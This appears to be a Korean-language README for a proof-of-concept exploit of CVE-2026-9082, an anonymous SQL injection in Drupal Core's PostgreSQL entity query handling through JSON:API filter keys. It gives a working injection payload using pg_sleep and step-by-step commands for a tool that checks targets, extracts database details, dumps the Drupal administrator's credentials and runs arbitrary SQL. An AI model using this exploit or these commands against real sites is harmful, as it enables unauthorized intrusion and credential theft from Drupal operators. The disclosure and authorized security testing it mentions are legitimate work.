
Drupal Core PostgreSQL SQL Injection PoC - CVE-2026-9082. PostgreSQL 기반 사이트에서 JSON:API 모듈을 통해 익명 SQL 인젝션을 허용하는 Drupal 취약점에 대한 윤리적 PoC.
이 저장소는 CVE-2026-9082에 대한 윤리적 개념 증명(PoC)입니다. 이는 Drupal Core의 매우 중요한 SQL 인젝션 취약점으로, Drupal 8.0부터 11.3.9까지 실행되는 모든 PostgreSQL 기반 사이트에 영향을 미칩니다.
이 결함은 PostgreSQL 엔티티 쿼리 조건 핸들러에 존재하며, 익명(인증되지 않은) 사용자가 Drupal 9부터 기본적으로 활성화된 JSON:API 모듈을 통해 악용할 수 있습니다.
공식 권고: SA-CORE-2026-004
Drupal Core는 쿼리를 살균하고 SQL 인젝션을 방지하도록 설계된 데이터베이스 추상화 API를 포함합니다.
PostgreSQL별 엔티티 쿼리 조건 클래스(core/modules/pgsql/src/EntityQuery/Condition.php)의 결함으로 인해
공격자가 JSON:API 필터 매개변수를 통해 전달되는 사용자 제어 배열 키를 통해
임의의 SQL을 주입할 수 있습니다.
translateCondition() 메서드는
$condition['value']를 반복하고 배열 키를 사용하여
PDO 플레이스홀더 이름을 구성합니다:$where_id = $where_prefix . $key;
filter[x][condition][value][MALICIOUS_KEY]=val
[a-zA-Z0-9_] 문자로만 구성됩니다.
키에 )가 포함되면 PDO는 플레이스홀더 이름 구문 분석을 중단합니다 —
그 이후의 모든 내용이 문자 그대로의 SQL로 쿼리에 주입됩니다.
1))/**/OR/**/(SELECT pg_sleep(5)) IS NOT NULL)--와 같은 키를 전송하여
공격자는 IN() 절을 닫고 임의의 SQL을 추가하며,
:prefix_1에 대한 바인딩은 동일한 요청의 적법한 키 1에 의해 충족됩니다.
이 도구는 승인된 보안 테스트, 교육 목적 및 윤리적 연구용으로만 사용됩니다. 승인되지 않은 컴퓨터 시스템 접근은 불법입니다.
git clone https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC.git
cd CVE-2026-9082-Drupal-PoC
pip install requests rich
# 대상이 취약한지 확인
python3 CVE-2026-9082.py -u https://target.com --check
# PostgreSQL 버전 추출
python3 CVE-2026-9082.py -u https://target.com --version
# 데이터베이스 정보 추출 (사용자 + DB 이름)
python3 CVE-2026-9082.py -u https://target.com --dbinfo
# Drupal 관리자 자격 증명 추출 (uid=1)
python3 CVE-2026-9082.py -u https://target.com --admin
# 데이터베이스 테이블 나열
python3 CVE-2026-9082.py -u https://target.com --tables
# 사용자 정의 SQL 쿼리 추출
python3 CVE-2026-9082.py -u https://target.com --query "SELECT current_user"
# 부울 기반 추출 사용 (더 빠르지만 덜 신뢰할 수 있음)
python3 CVE-2026-9082.py -u https://target.com --version -m bool
# 대화형 모드 (인수 없음)
python3 CVE-2026-9082.py